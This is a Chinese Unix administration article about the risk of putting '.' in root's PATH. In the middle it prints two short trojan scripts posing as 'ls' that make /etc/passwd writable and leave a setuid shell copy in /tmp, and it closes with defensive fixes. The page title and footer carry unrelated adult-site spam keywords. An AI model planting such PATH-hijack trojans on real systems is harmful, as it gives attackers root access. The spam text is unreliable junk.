成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Unix系統(tǒng)中環(huán)境變量知識(shí)講解

系統(tǒng) 其他OS
Unix系統(tǒng)中,我們?yōu)榇蠹医榻B了一些知識(shí),例如:root為了方便使用在他的當(dāng)前路徑末尾加了個(gè)點(diǎn)"."(搜索目錄為代表當(dāng)前目錄)。

正如很多人所知道的$PATH環(huán)境變量里存著一張目錄列表,當(dāng)用戶要執(zhí)行某一程序時(shí),Unix系統(tǒng)就會(huì)按照列表中的內(nèi)容去查找該程序的位置。當(dāng)程序名前不帶點(diǎn)斜線 . / 時(shí)$PATH就會(huì)起作用。

對(duì)于普通用戶和root用戶$PATH里默認(rèn)是不包含"."來指定用戶的當(dāng)前目錄。這在本機(jī)進(jìn)行腳本開發(fā)的程序員來說卻不方便,想圖省事的人就把點(diǎn)加到了搜索路徑中,這就等于在你的Unix系統(tǒng)埋下了險(xiǎn)情。

例如:root為了方便使用在他的當(dāng)前路徑末尾加了個(gè)點(diǎn)"."(搜索目錄為代表當(dāng)前目錄)

命令操作如下:

  1. [root@rh root]# PATH=$PATH:.  
  2. [root@rh root]# echo $PATH  
  3. /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:. 

這下是方便了,直接輸入腳本名就能執(zhí)行。OK,正常情況下一點(diǎn)問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設(shè)的腳本文件名)。有的root把PATH=$PATH:.這條命令加到了profile里,使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然 PATH=.:$PATH(將":"加到路徑前是另一種形式)。正常請(qǐng)況下一點(diǎn)問題沒有,直到有一天,張三用戶在他的主目錄下放了名為lls的腳本,并對(duì) root說他的Unix系統(tǒng)出問題了希望root能幫他解決。(其實(shí)是一個(gè)trap)。Root一上來就su 成管理員權(quán)限,緊更著列了一下目錄。有可能管理員誤敲成了lls,結(jié)果哈哈。。。。

以下是個(gè)簡(jiǎn)單的C shell 的例子
 

  1. #!/bin/csh  
  2. If ( ! -o /bin/su )  
  3. goto finish  
  4. cp /bin/sh /tmp/.sh  
  5. chmod 7777 /tmp/.sh  
  6. finish :  
  7. exec /bin/ls $argv | grep -v ls 

稍微變形就有個(gè)B shell的
 

  1. #!/bin/sh  
  2. if chmod 666 /etc/passwd > /dev/null 2>&1 ;then  
  3. cp /bin/sh /tmp/.sh  
  4. chmod 4755 /tmp/.sh  
  5. fi  
  6. exec ls "$@" 

如果root將其環(huán)境變量$PATH包含了"."并且其位置先與ls所在的Unix系統(tǒng)目錄,那么當(dāng)用戶在/tmp中執(zhí)行l(wèi)s時(shí),執(zhí)行的是上面給出的腳本,而不是實(shí)際的ls命令,因?yàn)樽罱K還是執(zhí)行了ls,所以root不會(huì)看出有任何異常。如果是root執(zhí)行了該腳本,就會(huì)將口令文件設(shè)置為可寫,并將 shell復(fù)制到/tmp保存為.sh,同時(shí)設(shè)置其setuserid位,所有這一切都非常安靜地發(fā)生。

在以上這兩個(gè)程序里,心懷不鬼的人能寫入任何令root急的要跳樓的程序,部下陷阱等root來鉆,也許root在不知不覺中施行了也根本不會(huì)察覺。也許在張三的主目錄下有一個(gè)名為ps的腳本里面包含有危險(xiǎn)腳本,root可能一到他的機(jī)器前就輸入了ps,此時(shí)Unix系統(tǒng)會(huì)首先到當(dāng)前目錄下搜索,結(jié)果 /sbin/ps卻不被執(zhí)行。類似這樣的小花招還有很多。

管理員同志,不要太緊張,下面我說說解決辦法。

首先,要養(yǎng)成輸絕對(duì)路徑的良好命令行輸入習(xí)慣,這樣就不會(huì)讓"不法份子"乘虛而入了。比如,列目錄***用/bin/ls來列目錄,不要圖方便而冒然輸入ls。

其次,根用戶(root)不要把"."包括到搜索目錄列表里,而普通用戶如果個(gè)"."包括到搜索列表中的話別,則"."就應(yīng)當(dāng)放在搜索目錄列表的***位置上。這樣一來普通用戶不會(huì)受到前面所述的那種危害。

***,可以在登陸時(shí)在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

這個(gè)簡(jiǎn)單的sed命令將刪除路徑里所有的"."包括其另一形式"::"

還可以由crontab調(diào)用定期執(zhí)行
 

  1. #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; \  
  2. mail -s 'this is a pointlist' root@localhost < point.txt 

來搜索所有以點(diǎn)開頭的文件,再發(fā)送到root的郵箱里,再進(jìn)行比較等任務(wù)。

好了,希望各位用戶能有所感悟,能想出更好的Unix系統(tǒng)防御辦法。

【編輯推薦】

  1. Unix操作Unix系統(tǒng)中Minix講解
  2. 簡(jiǎn)單介紹UnixUnix系統(tǒng)中打印知識(shí)
  3. Unix操作Unix系統(tǒng)打印問題解決
  4. 當(dāng)UnixUnix系統(tǒng)遇到病毒時(shí)
  5. Unix操作Unix系統(tǒng)知識(shí)講解
責(zé)任編輯:小霞
相關(guān)推薦

2010-04-21 16:58:51

Unix環(huán)境變量

2010-05-04 16:33:39

Unix系統(tǒng)

2010-05-05 15:02:39

Unix系統(tǒng)

2010-04-30 18:20:23

Unix系統(tǒng)

2010-05-04 09:45:28

Unix系統(tǒng)

2010-04-20 15:05:47

Unix操作系統(tǒng)

2010-04-30 01:28:59

Unix系統(tǒng)

2010-04-20 11:34:26

Unix操作系統(tǒng)

2010-04-29 13:30:20

Unix操作系統(tǒng)

2010-05-05 17:46:32

Unix文件系統(tǒng)

2010-05-06 14:24:56

Unix系統(tǒng)交換區(qū)

2010-05-06 09:26:44

Unix系統(tǒng)

2010-08-27 11:17:36

DB2管理環(huán)境變量

2010-04-20 14:43:01

Unix操作系統(tǒng)

2011-08-22 15:06:19

linux環(huán)境變量

2010-05-05 13:13:55

Unix內(nèi)核

2010-04-30 13:27:26

Unix cronta

2010-05-04 12:25:28

Unix鏈接

2010-05-05 13:45:21

Unix Telnet

2010-05-04 09:22:10

Unix文件
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 一区二区精品 | 色综合99| 91porn成人精品 | 91啪亚洲精品 | 综合色播| 黄色一级免费 | 精品不卡 | 一级做受毛片免费大片 | 99久久精品免费看国产四区 | 国产九九精品视频 | 色妹子综合网 | 91xxx在线观看| 中文字幕人成乱码在线观看 | 亚洲一区二区三区免费观看 | 日韩欧美在线一区二区 | 波多野结衣一区二区三区 | 午夜免费在线电影 | 午夜一区 | 国产在线精品一区二区 | 国产精品久久久久久久7电影 | 成年精品 | 亚洲欧美在线一区 | 2018国产大陆天天弄 | 久久免费精品 | 成人av播放 | 天天躁日日躁狠狠躁白人 | 欧美中文在线 | 在线播放中文字幕 | 久久久国产精品 | 亚洲www啪成人一区二区 | 久久久亚洲| 亚洲国产片| 亚洲丝袜天堂 | 国产午夜精品一区二区三区 | 欧美视频在线一区 | 2021天天干夜夜爽 | 天堂视频中文在线 | 国产1区| 久久一区二区精品 | 毛片a级 | 婷婷色在线播放 |